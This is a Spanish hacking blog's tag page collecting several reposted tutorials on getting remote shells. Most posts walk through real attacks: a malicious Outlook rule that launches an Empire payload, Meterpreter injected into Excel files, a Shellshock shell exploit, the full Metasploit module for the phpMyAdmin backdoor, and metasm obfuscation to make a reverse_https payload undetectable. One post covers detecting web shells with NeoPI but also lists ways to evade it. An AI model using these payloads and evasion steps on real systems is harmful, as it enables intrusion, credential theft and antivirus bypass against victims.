Banner 1

Mostrando entradas con la etiqueta shell. Mostrar todas las entradas
Mostrando entradas con la etiqueta shell. Mostrar todas las entradas

Obteniendo un shell remoto mediante una regla de Outlook maliciosa

0 comentarios

En la página de SilentBreak Security encontraba un escenario que puede resultar bastante interesante para atacantes, pentesters, curiosos y demás fauna... 

Imagina que has conseguido las credenciales para acceder al correo electrónico de un usuario vía OWA, ya sea por fuera bruta, esnifando (las passwords graciosillos!), usando keyloggers, con alguna página de phishing, ... con lo que sea. A partir de ahí puedes obtener shell remoto de la máquina que está utilizando el usuario gracias a una simple regla de Outlook maliciosa. Algo también muy útil si trabajamos en un entorno Citrix y queremos obtener una shell remota del servidor XenApp.

Veamos cómo hacerlo en unos sencillos pasos...

1.- Primero tenemos que preparar la máquina del atacante para dejar accesible un ejecutable (a ser posible FuD) con el payload que más tarde nos permitirá abrir una sesión remota, por ej. vía Webdav en un Apache:


sudo apt-get update
sudo apt-get install apache2
sudo a2enmod dav
sudo a2enmod dav_fs
sudo service apache2 restart


O si estás en una LAN o quieres hacer una PoC sencillita, simplemente puedes dejar el ejecutable malicioso en una unidad de red o cualquier otro recurso compartido vía samba.

2.- luego ponemos nuestro servidor malicioso a escuchar (en una máquina virtual en un hosting gratuito o en un servidor comprometido para que la víctima nos devuelva la sesión en cuanto ejecute el payload. 


En este caso utilizamos Empire, un agente post-explotación escrito puramente en Powershell que se puede desplegar rápidamente y nos permite, entre otras cosas, elevar privilegios y ejecutar Mimikatz en la máquina comprometida. 
  
Con el imperio hemos topado...


Para hacer funcionar rápidamente Empire primero clonamos el repositorio git: 

git clone https://github.com/PowerShellEmpire/Empire.git

A continuación abrimos la consola:


./empire



y lanzamos el listener con 'info' para ver las opciones y 'execute':



Empire) > listeners

[*] Active listeners:

  ID    Name              Host                                 Type      Delay/Jitter   KillDate    Redirect Target
  --    ----              ----                                 -------   ------------   --------    ---------------
  1     test              http://192.168.11.128:8080           native    5/0.0                      

(Empire: listeners) > usestager launcher test
(Empire: stager/launcher) > execute

Ya lo tenemos el listener "test" escuchando en el puerto 8080 :-D


3.- Llega el momento de construir el payload y para ello copiaremos la línea anterior de Empire en un .bat (evil.bat) y con el programita "BAT to EXE Converter" loconvertiremos directamente en ejecutable (evil.exe):




Lo curioso es que prácticamente todos los antivirus se tragan el binario:
http://www.nodistribute.com/result/Rg7r0MJVZxKUh1PBfnqvO5bEI32

4.- Después construimos la regla en el outlook para que ejecute la aplicación evil.exe al recibir un correo con un determinado asunto, en el ejemplo 'hackplayers'. La siguiente imagen es autoexplicativa:



Si lo prefieres, puedes utilizar el siguiente script en Python de Nick Landers para automatizar la creación de la regla creando un .rwz que podremos importar en Outlook con el mismo resultado:

https://gist.github.com/monoxgas/7fec9ec0f3ab405773fc 
 
5.- Finalmente sólo nos queda probar y vemos como, al recibir el correo, obtenemos una sesión remota al ejecutarse silenciosamente evil.exe:



Y bueno, ya que tenemos un shell remoto, pues elevamos privilegios y ejecutamos mimikatz para obtener las contraseñas en claro... ;)



Fuente: http://www.hackplayers.com/2015/12/shell-remoto-mediante-regla-outlook.html

XLSInjector – Inyectar Shell Meterpreter en Archivos Excel

0 comentarios

Es una herramienta creada en perl por keith lee que permite inyectar en un archivo XLS de Microsoft Excel una consola meterpreter (ejecutando todo en la memoria ram sin crear procesos adicionales), permitiéndonos acceder a el remotamente por el puerto 4444 y tomar total control de la maquina.

Para que XLSInjector funcione adecuadamente, necesitamos lo siguiente:

    * Una Maquina (virtual o real) con Windows
    * Microsoft Excel
    * Perl
    * El modulo Win32:OLE para Perl
    * Un archivo XML a infectar
    * El XLSInjector
    * y por ultimo el Metasploit Framework

Después de tener todos los elementos necesarios para el correcto funcionamiento del XLSInjector pasamos a su ejecución, que es bastante simple:
Código:
perl xlsinjector.pl -i ArchivoDeExcel.xls -o ArchivoConShellDeExcel.xls

Pero no todo es tan simple con esta herramienta, resulta que XLSInjector NO salta los filtros de scripting puestos por Microsoft en su suite ofimática, por lo que toca convencer, por medio de ingeniería social o cualquier otra técnica que el mismo usuario ponga la seguridad de las macros en baja y que “confié” en los proyectos de VB, algo complicado pero que seguro con algo de presunción se consigue que realicen estas tareas.

Suponiendo que ya se realizaron las configuraciones adecuadas para el correcto funcionamiento del XLSInjector vamos a acceder remotamente a nuestra shell meterpreter mediante la consola del Metasploit Framework

iniciamos la consola del metasploit:
Código:
set payload windows/meterpreter/bind_tcp
set RHOST ipdelpcvictima
set RPOT 4444
exploit
 
Fuente: http://underc0de.org/foro/hacking-basico/xlsinjector-inyectar-shell-meterpreter-en-archivos-excel/ 

Obteniendo una shell mediante Paint

0 comentarios
Quizás mas que curioso, raro el leer este titulo y poder llevarlo a la practica aun mas raro seria que una prueba de pentesting abramos un paint y nos busquemos la vida con la shell, pero ahora que lo veo no me vendría mal en algunas pruebas :3, al realizar los test de intrusión, aca en el video vemos como hacerlo.

Video: https://www.youtube.com/watch?v=KKu7imiNTZ0

Para tener un mejor control de estos movimientos estas son las combinaciones a realizar.

1er píxel
  • Rojo: 10
  • Verde: 0
  • Azul: 0
2º píxel
  • Rojo: 13
  • Verde: 10
  • Azul: 13
3er píxel
  • Rojo: 100
  • Verde: 109
  • Azul: 99
4º píxel
  • Rojo: 120
  • Verde: 101
  • Azul: 46
 píxel
  • Rojo: 0
  • Verde: 0
  • Azul: 101
6º píxel 
  • Rojo: 0
  • Verde: 0
  • Azul: 0
Fuente: http://www.sniferl4bs.com/2014/02/obteniendo-una-shell-mediante-paint.html

Abrir una shell remota explotando el CVE-2014-6271 (Shellshock)

0 comentarios
Buenas a todos, en el post de hoy veremos una de las miles de PoC que han surgido para explotar la tan comentada vulnerabilidad "GNU Bash CVE-2014-6271 Remote Code Execution Vulnerability", también conocida como "shellshock".
Explotar esta falla de seguridad tiene infinidad de posibilidades, y una de las más interesantes involucra a los servidores web que utilizan el motor CGI apoyándose en el sistema operativo para ejecutar sus servicios.
En Security Focus se han publicado numerosos exploits que afectan a gran variedad de servidores y que podéis ver en el siguiente enlace:
Uno de los más interesantes de ese listado es el 70103_3.py, que nos permitirá abrir una shell remota contra un servidor vulnerable:
Su uso es muy sencillo, y al estilo meterpreter, configuraremos el exploit para atacar al servidor vulnerable que nos interese auditar:

Si el exploit tiene éxito, veremos el prompt de la máquina vulnerada y podremos ejecutar cualquier instrucción. Como ejemplo, nosotros hemos lanzado un "whoami" para ver con qué usuario se estaba ejecutando el servidor:
Como no podía ser de otra manera, en lo referente a shellshock os recomiendo el artículo de mi compañero Pablo en el que detalla el proceso para desarrollar nuestro propio módulo de Metasploit para Shellshock.
Shellshock está dando mucho que hablar, y no es para menos, ya que como veis se trata de una de las vulnerabilidades más destacadas de los últimos tiempos.
Hasta el próximo post,

Saludos!
 
Fuente: http://www.flu-project.com/2014/10/abrir-una-shell-remota-explotando-el.html

Detección de web shells con NeoPI y técnicas de evasión

0 comentarios
Hoy en día, muchas aplicaciones web se desarrollan utilizando lenguajes de scripting como PHP, Python, Ruby, Perl, etc. Estos lenguajes pueden ser lo suficientemente complicados para que un pequeño fallo pueda llegar a permitir la ejecución de código arbitrario en el servidor.
Cuando una de estas condiciones es identificada por un atacante, casi con total seguridad intentará subir un web shell para mantener el acceso al servidor comprometido, permitiendo normalmente la ejecución de comandos del sistema y el acceso a archivos.

Pero, ¿cómo detectar el código de estos backdoors en un servidor con cientos o quizás miles de páginas?

Si la shell no está ofuscada, podremos realizar una búsqueda rápida en base a una serie de patrones aunque, eso sí, obtendremos numerosos falsos positivos. Por ejemplo encontraríamos la mítica C99 con:

grep -RPn "(system|phpinfo|pcntl_exec|python_eval|base64_decode|gzip|mkdir|fopen|fclose|readfile|passthru)" /pathto/webdir/

Otra opción sería utilizar herramientas basadas en firmas como Linux Malware Detect (LMD), que encontrará algunas de las más típicas web shells. Sin embargo, ¿cómo detectaríamos aquellas shells que hayan sido modificadas/ofuscadas para ocultarse?

Para ello podemos utilizar NeoPI, un script en Python que utiliza varios métodos estadísticos para descubrir este tipo de contenido ofuscado o cifrado dentro de scripts y ficheros de texto.

Esta herramienta escaneará recursivamente los ficheros del directorio indicado y los puntuará en base a los resultados de las pruebas. Este ranking nos ayudará a identificar con una alta probabilidad de acierto qué ficheros podrían tener web shells ofuscadas:
root@testbed:~# ./neopi.py -z -e -l -i -s /var/www/ \.php$

[[ Total files scanned: 10235 ]]
[[ Total files ignored: 0 ]]
[[ Scan Time: 48.170000 seconds ]]

[[ Top 10 entropic files for a given search ]]
6.1817        /var/www/gallery/lang/chinese_gb.php
6.1784        /var/www/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/langs/zh-cn.php
6.1710        /var/www/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/langs/zh-tw.php
5.8753        /var/www/blog/wp-admin/js/revisions-js.php
5.7846        /var/www/gallery/lang/japanese.php
5.7306        /var/www/webacoo.php
5.6484        /var/www/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/langs/cs.php
5.6296        /var/www/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/langs/sk.php
5.6203        /var/www/plugins/system/nonumberelements/helper.php
5.6133        /var/www/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/langs/pl.php

[[ Top 10 longest word files ]]
  745        /var/www/gallery/include/exif_php.inc.php
  745        /var/www/gallery/exifmgr.php
  741        /var/www/gallery/lang/japanese.php
  728        /var/www/blog/wp-admin/js/revisions-js.php
  522        /var/www/blog/wp-includes/functions.php
  516        /var/www/libraries/tcpdf/tcpdf.php
  474        /var/www/plugins/content/jw_allvideos/includes/sources.php
  456        /var/www/blog/wp-content/plugins/sexybookmarks/includes/html-helpers.php
  436        /var/www/gallery/lang/chinese_gb.php
  354        /var/www/blog/wp-includes/class-simplepie.php

[[ Average IC for Search ]]
0.0372679517799

[[ Top 10 lowest IC files ]]
0.0198        /var/www/webacoo.php
0.0206        /var/www/gallery/lang/chinese_gb.php
0.0217        /var/www/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/langs/zh-tw.php
0.0217        /var/www/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/langs/zh-cn.php
0.0217        /var/www/templates/system/index.php
0.0217        /var/www/administrator/templates/system/index.php
0.0222        /var/www/blog/wp-content/themes/lightword/alternatives/404.php
0.0226        /var/www/blog/wp-admin/js/revisions-js.php
0.0270        /var/www/includes/HTML_toolbar.php
0.0272        /var/www/templates/beez/html/com_user/reset/complete.php

[[ Top 10 signature match counts ]]
   43        /var/www/gallery/include/themes.inc.php
   43        /var/www/gallery/themes/sample/theme.php
   26        /var/www/blog/wp-admin/includes/class-ftp.php
   19        /var/www/blog/wp-content/plugins/nextgen-gallery/lib/imagemagick.inc.php
   14        /var/www/libraries/geshi/geshi/php.php
   13        /var/www/blog/wp-includes/Text/Diff/Engine/native.php
   10        /var/www/blog/wp-includes/js/tinymce/plugins/spellchecker/classes/PSpellShell.php
    9        /var/www/gallery/include/functions.inc.php
    8        /var/www/blog/wp-includes/js/tinymce/plugins/spellchecker/config.php
    8        /var/www/blog/wp-admin/includes/class-wp-filesystem-ssh2.php

[[ Top 10 compression match counts ]]
1.0704        /var/www/administrator/templates/system/index.php
1.0704        /var/www/templates/system/index.php
1.0000        /var/www/blog/wp-content/plugins/sexybookmarks/includes/index.php
1.0000        /var/www/blog/wp-content/plugins/sexybookmarks/js/index.php
0.9663        /var/www/blog/wp-content/themes/lightword/alternatives/404.php
0.8958        /var/www/includes/mambo.php
0.8860        /var/www/includes/joomla.php
0.8821        /var/www/includes/vcard.class.php
0.8818        /var/www/includes/PEAR/PEAR.php
0.8796        /var/www/includes/HTML_toolbar.php

[[ Top cumulative ranked files ]]
  122        /var/www/webacoo.php
  202        /var/www/blog/wp-admin/js/revisions-js.php
  528        /var/www/plugins/content/jw_allvideos/includes/elements/header.php
  912        /var/www/plugins/content/jw_allvideos/includes/helper.php
  984        /var/www/modules/mod_archive/helper.php
 1100        /var/www/libraries/bitfolge/vcard.php
 1210        /var/www/administrator/components/com_content/elements/article.php
 1240        /var/www/gallery/addfav.php
 1246        /var/www/administrator/components/com_installer/admin.installer.php
 1258        /var/www/administrator/components/com_config/views/component/view.php

Encontraremos emelco, una shell osfuscada y una wso metida al final de una imagen, pero también hay que decir que esta herramienta no es infalible y que, si el atacante pone un poco de empeño, se pueden evavir sus métodos de detección:

- Strings largas: NeoPI identifica las cadenas largas que normalmente representan código ofuscado. Se podrían añadir espacios para separar el string (base64_decode los va a ignorar).

- Entropía: NeoPI calcula la entropía de Shannon de los datos y devuelve un valor float entre 0 y 8. Si metemos espacios despues de cada caracter del string en base64 aumentamos el largo del archivo y la entropia va a ser menor. Tambien se puede agregar un comentario con los caracteres suficientes para que la entropia baje lo suficiente.

- Índice de coincidencia (I.C.): esta técnica se basa en el cálculo de las coincidencias de combinaciones de caracteres comparadas con las de un texto de ejemplo con la misma distribución. Un bajo IC indicará una posible ofuscación o cifrado. Teóricamente se podría intentar modificar el índice añadiendo caracteres basura o junk.

- Firmas: la típica búsqueda de patrones. Evitando el uso de eval(), system() y demás funciones comunes de las webshells. Se pueden usar funciones globales o 'strrev' ($b=strrev("edoced_4"."6esab")).


Referencias:
NeoPI in the Wild - Neohapsis
Bypasseando NeoPI - El rincon de seth
Maths behind web shell code detection - Anestis Bechtsoudis

Web Shell Detection Using NeoPI - InfoSec
http://www.hackplayers.com

PhpMyAdmin 3.5.2.2 Backdoor - CVE-2012-5159

0 comentarios

Hace poco se descubrió que las versión de descarga del archivo "phpMyAdmin-3.5.2.2-all-languages.zip" de SourceForge, había sido comprometido con unos archivos que hacen de backdoor, este archivo en cuestión  "server_sync.php" tiene una puerta trasera la cual permite ejecutar arbitrariamente y remotamente código PHP.

Y el equipo de metasploit ya realizo un modulo para explotar la puerta trasera en esta versión de PhpMyAdmin.


##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'phpMyAdmin 3.5.2.2 server_sync.php Backdoor',
      'Description'    => %q{
          This module exploits an arbitrary code execution backdoor 
        placed into phpMyAdmin v3.5.2.2 thorugh a compromised SourceForge mirror.
      },
      'Author'         => [ 'hdm' ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision$',
      'References'     => [ ['URL', 'http://www.phpmyadmin.net/home_page/security/PMASA-2012-5.php'] ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Compat'      =>
            {
              'ConnectionType' => 'find',
            },
          # Arbitrary big number. The payload gets sent as an HTTP
          # response body, so really it's unlimited
          'Space'       => 262144, # 256k
        },
      'DefaultOptions' =>
        {
          'WfsDelay' => 30
        },
      'DisclosureDate' => 'Sep 25 2012',
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [[ 'Automatic', { }]],
      'DefaultTarget' => 0))

    register_options([
      OptString.new('PATH', [ true , "The base directory containing phpMyAdmin try", '/phpMyAdmin'])
    ], self.class)
  end

  def exploit

    uris = []

    tpath = datastore['PATH']
    if tpath[-1,1] == '/'
      tpath = tpath.chop
    end

    pdata = "c=" + Rex::Text.to_hex(payload.encoded, "%")

    res = send_request_raw( {
      'global'  => true,
      'uri'     => tpath + "/server_sync.php",
      'method'  => 'POST',
      'data'    => pdata,
      'headers' => {
        'Content-Type'   => 'application/x-www-form-urlencoded',
        'Content-Length' => pdata.length,
      }
    }, 1.0)

    handler
  end
end
Y aquí un video hecho por "wow zatas".
Se aconseja a los usuarios hacer la descarga  del archivo de la pagina oficial de PhpMyAdmin.
 
Fuente: hackplayers.

Metasploit + Metasm (Ghost Writing ASM) para crear un backdoor indetectable

0 comentarios
Normalmente crear un backdoor con Metasploit es sinónimo de detección por parte de la mayoría de AV, incluso utilizando el encoder polimórfico shikata_ga_nai. 

El siguiente método que vamos a ver en esta entrada se denomina Assembly Ghost writing y consiste en modificar un binario malicioso reescribiendo el código ensamblador del payload del exploit generado con Metasploit. 

El resultado es un fichero FUD (completamente indetectable), o al menos con un ratio bajo de detección, por medio del cual un atacante podría obtener una sesión en la máquina de la víctima de forma silenciosa.

En nuestras pruebas utilizaremos BT5R3 con metasploit v4.5.0-dev (atacante) y Win7 con AV McAfee (víctima). El procedimiento es muy sencillo:

1º Creamos el ejecutable malicioso en formato con msfpayload.

root@bt:/home/pruebas# msfpayload windows/meterpreter/reverse_https LHOST=192.168.249.128 LPORT=443 R > binario.raw
root@bt:/home/pruebas# file binario.raw 
binario.raw: data

2º Preparamos metasm (http://metasm.cr0.org/)

root@bt:/home/pruebas# cd /opt/metasploit/msf3/lib/metasm
root@bt:/opt/metasploit/msf3/lib/metasm# cp -a metasm.rb metasm /usr/lib/ruby/1.9.2

3º Desensamblamos el fichero binario:

root@bt:/home/pruebas# ruby /opt/metasploit/msf3/lib/metasm/samples/disassemble.rb raw_binary > codigo.asm

4º Ofuscamos manualmente el código,
desde esto:

// Xrefs: 8dh
loc_15h:
    mov esi, [edx+28h]                           ; @15h  8b7228  r4:unknown
    movzx ecx, word ptr [edx+26h]                ; @18h  0fb74a26  r2:unknown
    xor edi, edi                                 ; @1ch  31ff
a esto:
// Xrefs: 8dh
loc_15h:
    mov esi, [edx+28h]                ; @15h  8b7228  r4:unknown
    movzx ecx, word ptr [edx+26h]        ; @18h  0fb74a26  r2:unknown
    mov edi, ecx                ; Move the contents of the ECX register into the EDI Register
    push edi                    ; Push the EDI register onto the current stack frame
    pop edi                    ; Pop it back off
    mov edi, ecx                ; Mov ECX back into edi
    xor ecx, ecx                ; Zero out the contents of the ECX register
    mov ecx, edi                ; Mov EDI back into ECX
    xor edi, edi                ; @1ch

y añadimos al principio del fichero:
.section '.text' rwx
.entrypoint

5º Construimos el ejecutable y lo empaqueamos a un formato que Windows pueda ejecutar:
root@bt:/home/pruebas# ruby /opt/metasploit/msf3/lib/metasm/samples/peencode.rb codigo.asm -o carga.exe
saved to file "carga.exe"
root@bt:/home/pruebas# file carga.exe 
carga.exe: MS-DOS executable, MZ for MS-DOS

6º Lanzamos la consola de Metasploit con el multi/handler:
root@bt:/home/pruebas# msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_https LHOST=192.168.249.128 LPORT=443 E
[*] Please wait while we load the module tree...

 _                                                      _
/  \  / \        __                          _   __    /_/ __
| |\ /  | _____  \ \            ___   _____ | | /   \  _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | | | |  || | |- -|
|_|   | | | _|__  | |/ -\ __\ \   | |    | |_ \__/ | |  | |_
      |/  |____/  \___\/ /\  \___/   \/      \__|     |_\  \___\


       =[ metasploit v4.5.0-dev [core:4.5 api:1.0]
+ -- --=[ 927 exploits - 499 auxiliary - 151 post
+ -- --=[ 251 payloads - 28 encoders - 8 nops

[-] The value specified for PAYLOAD is not valid.
LHOST => 192.168.249.128
LPORT => 443
[*] Started reverse handler on 192.168.249.128:443 
[*] Starting the payload handler...

7º Y finalmente ejecutamos carga.exe en el equipo Windows:
[*] Sending stage (752128 bytes) to 192.168.249.1
[*] Meterpreter session 1 opened (192.168.249.128:443 -> 192.168.249.1:54402) at 2012-11-08 10:44:00 -0500
meterpreter > getuid
Server username: PANDORA\vmotos
meterpreter > 
Powered by Bad Robot
Helped by Blackubay